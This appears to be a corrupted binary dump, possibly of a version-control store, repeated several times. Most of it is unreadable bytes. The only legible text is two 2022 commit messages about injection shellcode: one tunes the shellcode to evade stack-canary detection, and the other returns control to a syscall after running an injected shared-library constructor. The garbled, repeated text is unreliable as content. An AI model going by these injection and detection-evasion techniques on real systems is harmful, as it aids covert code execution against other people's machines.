<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09><00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09><00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09><00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09><00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> <09><00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> {<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> l<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> ]<00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> N <00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m <00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD>)<00><00><00><00>y<><79><EFBFBD><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pq<><71><EFBFBD>q<><71><EFBFBD>OW<00>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>U<00>q<><71><EFBFBD>UIq<><71><EFBFBD>U <00>q<><71><EFBFBD>U
<00>q<><71><EFBFBD>U<00>q<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>Uq<><71><EFBFBD>A<00><00> <00><><EFBFBD><EFBFBD>%<00>{
<EFBFBD><EFBFBD><00><><00><><EFBFBD><EFBFBD><00> <00><><EFBFBD><EFBFBD>Uy<><79><EFBFBD>[<00>'<00>y<>P<EFBFBD>{<1A><>y<><79><EFBFBD>{<1A><>a<><61><EFBFBD>c<1A><><00> {<7B><><EFBFBD>c<><63><EFBFBD><00><><00><><EFBFBD><EFBFBD>y<EFBFBD>X<EFBFBD><00><00><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><00><00>y<>`<60> ? <00>cs<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>p<><70><EFBFBD><EFBFBD><00>y<>p<EFBFBD><00><> <00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD>
<00><><00><00>mq<><71><EFBFBD><00><00><00>$<00><><00><00>cj<63><6A><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pm`a<><61><EFBFBD>K<00> <00>W<00> <00><><00>a<><61><EFBFBD>g <00> `<00>
Changed shellcode to include backup of registers and stuck. Now prevents stack smashing detection via the stack canaries
2022-04-07 19:47:53 -04:00
<00><><00><00><><00><><EFBFBD><EFBFBD><EFBFBD>
Now control flow is redirected back to the syscall after running the shared library constructor instead of skipping it
2022-04-09 14:17:09 -04:00
<00><><00>pq<><71><EFBFBD>j<00> <00>q<><71><EFBFBD>w<00> <00>q<><71><EFBFBD><00><00> <00>q<><71><EFBFBD><00><00> <00><00><00>q<><71><EFBFBD><00>%<00>q<><71><EFBFBD>y<>h<EFBFBD><00><00>_7WU<00> U<02><00>U<01>q<><71><EFBFBD>U<01><00>q<><71><EFBFBD><00>U<01>%{JP<4A><00><00><00>U<00><00><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00>  {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00>(<00>#<00>y<>h<EFBFBD><00><00><><00><><00><><EFBFBD><EFBFBD><EFBFBD><00>pa<><61><EFBFBD><00>1g <00> {<7B><><EFBFBD><00><00><00>y<><79><EFBFBD><00><00><00> <00><><EFBFBD><EFBFBD>y<><79><EFBFBD>n<00><><00><><EFBFBD><EFBFBD><EFBFBD><00><><00>py<><79><EFBFBD><00><00><00><00><00>.@{<1A><><00><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>$<00>m 